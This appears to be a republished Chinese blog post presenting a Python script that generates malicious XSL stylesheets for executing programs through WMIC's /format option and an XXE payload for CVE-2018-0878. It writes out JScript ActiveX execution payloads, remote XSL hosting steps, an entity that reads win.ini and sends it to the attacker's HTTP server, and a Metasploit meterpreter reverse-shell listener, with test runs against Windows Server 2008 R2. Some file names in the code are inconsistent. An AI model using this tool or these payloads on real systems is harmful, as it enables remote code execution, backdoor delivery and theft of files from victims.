python打造XslGenerator

Posted 东京$

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了python打造XslGenerator相关的知识,希望对你有一定的参考价值。

0x00前言


今天加载了Demon哥分享的RSS。其中有一篇是三好学生讲的:

 

 在仔细越读这篇文章后,我懂得了里面的一些骚操作,所以有了以下的

脚本。

0x001代码


 

import optparse
import time
import os
import socket

def main():
    parser=optparse.OptionParser()
    parser.add_option(\'-b\',dest=\'local\',action=\'store_true\',help=\'Generator Local Xsl\')
    parser.add_option(\'-y\',dest=\'Long\',action=\'store_true\',help=\'Generator Long-range Xsl\')
    parser.add_option(\'-j\',dest=\'CVE\',action=\'store_true\',help=\'Conduct CVE-2018-0878\')
    (options,args)=parser.parse_args()
    if options.local:
        Local()
    elif options.Long:
        Long()
    elif options.CVE:
        Cve()
    else:
        parser.print_help()
        exit()

def Local():
    with open(\'poc.xsl\',\'w\') as l:
        l.write(\'\'\'<?xml version="1.0"?>
<!-- Copyright (c) Microsoft Corporation.  All rights reserved. -->
<xsl:stylesheet version="1.0"
      xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
      xmlns:msxsl="urn:schemas-microsoft-com:xslt"
      xmlns:user="urn:my-scripts">
<xsl:output encoding="utf-16" omit-xml-declaration="yes"/>
<xsl:param name="norefcomma"/>

<msxsl:script language="JScript" implements-prefix="user">
   function myFunction() {
    var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
          return "";      
   }
</msxsl:script>

<xsl:template match="/">

<xsl:value-of select="user:myFunction()"/>

Node,<xsl:for-each select="COMMAND/RESULTS[1]/CIM/INSTANCE[1]//PROPERTY|COMMAND/RESULTS[1]/CIM/INSTANCE[1]//PROPERTY.ARRAY|COMMAND/RESULTS[1]/CIM/INSTANCE[1]//PROPERTY.REFERENCE"><xsl:value-of select="@NAME"/><xsl:if test="position()!=last()">,</xsl:if></xsl:for-each><xsl:apply-templates select="COMMAND/RESULTS"/></xsl:template> 


<xsl:template match="RESULTS" xml:space="preserve"><xsl:apply-templates select="CIM/INSTANCE"/></xsl:template> 
<xsl:template match="VALUE.ARRAY" xml:space="preserve">{<xsl:for-each select="VALUE"><xsl:apply-templates select="."/><xsl:if test="position()!=last()">;</xsl:if></xsl:for-each>}</xsl:template>
<xsl:template match="VALUE" xml:space="preserve"><xsl:value-of select="."/></xsl:template>
<xsl:template match="INSTANCE" xml:space="preserve">
<xsl:value-of select="../../@NODE"/>,<xsl:for-each select="PROPERTY|PROPERTY.ARRAY|PROPERTY.REFERENCE"><xsl:apply-templates select="."/><xsl:if test="position()!=last()">,</xsl:if></xsl:for-each></xsl:template> 

<xsl:template match="PROPERTY.REFERENCE" xml:space="preserve"><xsl:apply-templates select="VALUE.REFERENCE"></xsl:apply-templates></xsl:template>

<xsl:template match="PROPERTY"><xsl:apply-templates select="VALUE"/></xsl:template>
<xsl:template match="PROPERTY.ARRAY"><xsl:for-each select="VALUE.ARRAY"><xsl:apply-templates select="."/></xsl:for-each></xsl:template>

<xsl:template match="VALUE.REFERENCE">"<xsl:apply-templates select="INSTANCEPATH/NAMESPACEPATH"/><xsl:apply-templates select="INSTANCEPATH/INSTANCENAME|INSTANCENAME"/>"</xsl:template>

<xsl:template match="NAMESPACEPATH">\\\\<xsl:value-of select="HOST/text()"/><xsl:for-each select="LOCALNAMESPACEPATH/NAMESPACE">\\<xsl:value-of select="@NAME"/></xsl:for-each>:</xsl:template>

<xsl:template match="INSTANCENAME"><xsl:value-of select="@CLASSNAME"/><xsl:for-each select="KEYBINDING"><xsl:if test="position()=1">.</xsl:if><xsl:value-of select="@NAME"/>="<xsl:value-of select="KEYVALUE/text()"/>"<xsl:if test="position()!=last()"></xsl:if><xsl:if test="not($norefcomma=&quot;true&quot;)">,</xsl:if><xsl:if test="$norefcomma=&quot;true&quot;"><xsl:text> </xsl:text></xsl:if></xsl:for-each></xsl:template>


</xsl:stylesheet>
        \'\'\')
        l.close()
        print(\'[*]{}\'.format(\'Generation completion\'))
        print(\'[*]{}\'.format(\'you want to bounce meterpreter.Please create the back door and put the generated back door inito the clear computer,and use modify.py to modify the place where exe is executed\'))
        print(\'[*]{}\'.format(\'Enter the directory where you store poc.xsl and exeute the command in the target computer: wmic os get format:poc\'))

def Long():
    with open(\'Longpoc.xsl\',\'w\') as g:
        g.write(\'\'\'<?xml version=\'1.0\'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
    <ms:script implements-prefix="user" language="JScript">
    <![CDATA[
    var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
    ]]> </ms:script>
</stylesheet>
        \'\'\')
        g.close()
        print(\'[*]{}\'.format(\'Generation completion\'))
        os.system(\'mv Longpoc.xsl /var/www/html\')
        print(\'[*]{}\'.format(\'This XSL is moved to the /var/www/html directory\'))
        print(\'[*]{}\'.format(\'Modify the program executed in XLS with modify.py\'))
        print(\'[*]{}\'.format(\'Put the generated back door into the target computer\'))
        print(\'[*]{}\'.format(\'Start the Apache service\'))
        print(\'[*]{}\'.format(\'wmic os get format:"http://IP/Longpoc.xsl"\'))

def Cve():
    print(\'[@]Vulnerability introduction:https://www.exploit-db.com/exploits/44352/\')
    s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
    connect=s.connect((\'8.8.8.8\',80))
    ip=s.getsockname()[0]
    ml="python -m SimpleHTTPServer 8080"
    with open(\'xxe.xml\',\'w\') as c:
        c.write(\'\'\'<!ENTITY % payload SYSTEM "file:///C:/windows/win.ini">  
<!ENTITY % root "<!ENTITY &#37; oob SYSTEM \'http://{}/?%payload;\'> ">  
        \'\'\'.format(ip))
        c.close()
        os.system(\'mv payload.xls /var/www/html\')

    with open(\'payload.xsl\',\'w\') as p:
        p.write(\'\'\'<?xml version="1.0" encoding="UTF-8" ?>  
<!DOCTYPE zsl [  
<!ENTITY % remote SYSTEM "http://{}:8080/xxe.xml">  
%remote;%root;%oob;]>
        \'\'\'.format(ip))
        p.close()
        print(\'[*]{}\'.format(\'Get the native IP:\',ip))
        print(\'[*]{}\'.format(\'Create a httt server\'))
        print(\'[*]{}\'.format(\'Have been created xxe.xml\'))
        print(\'[*]{}\'.format(\'Already moved /var/www/html\'))
        print(\'[*]{}\'.format(\'Have benn payload.xls,Move him to the computer,And execute the command:wmic os get format:payload.xsl\'))
        os.system(ml)
if __name__ == \'__main__\':
    main()

测试结果: -b

攻击机:Ubuntu

受害者:windows server 2008 r2

生成后并修改后的的xsl

msfvenom生成的shell.exe

 Windows Server 2008 r2

 进入shell.exe所在的目录中在cmd中执行:wmic os get /format:sd

Ubuntu中执行监听:

use exploit/multi/headers
set LHOST 192.168.223.133
set LPORT 4444
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run

测试结果:-j   CVE-2018-0878

漏洞结果详情:https://www.exploit-db.com/exploits/44352/

生成了xxe.xml与payload.xls

xxe.xml移动到了/var/www/html  

payload.xls放入到受害者windows server 2008 r2

xxe.xml:

<!ENTITY % payload SYSTEM "file:///C:/windows/win.ini">  
<!ENTITY % root "<!ENTITY &#37; oob SYSTEM \'http://192.168.223.133:8080/?%payload;\'> ">  

payload.xsl:

<?xml version="1.0" encoding="UTF-8" ?>  
<!DOCTYPE zsl [  
<!ENTITY % remote SYSTEM "http://192.168.223.133:8080/xxe.xml">  
%remote;%root;%oob;]>

 启动apache服务

service apache2 start

在windows server 2008 r2中执行:

wmic os get /format:payload.xsl

执行失败但漏洞触发成功了。

 

这里的-b选项我就不演示了,具体步骤跟上面两个差不多

1.生成的poc.xsl修改在目标机上执行的程序并移动到apache2

2.开启apache2

3.将生成的后门扔到目标机

4.执行wmic os get /format:"http://192.168.223.133/poc.xsl"

这时候wmic就会请求xsl并执行。你如果此刻在监听你就收到了一个shell

 

以上是关于python打造XslGenerator的主要内容,如果未能解决你的问题,请参考以下文章

将vscode打造成无敌的IDE添加自定义的snippet

常用python日期日志获取内容循环的代码片段

python 有用的Python代码片段

将vscode打造成无敌的IDE打造shell IDE--三大神器

Python 向 Postman 请求代码片段

python [代码片段]一些有趣的代码#sort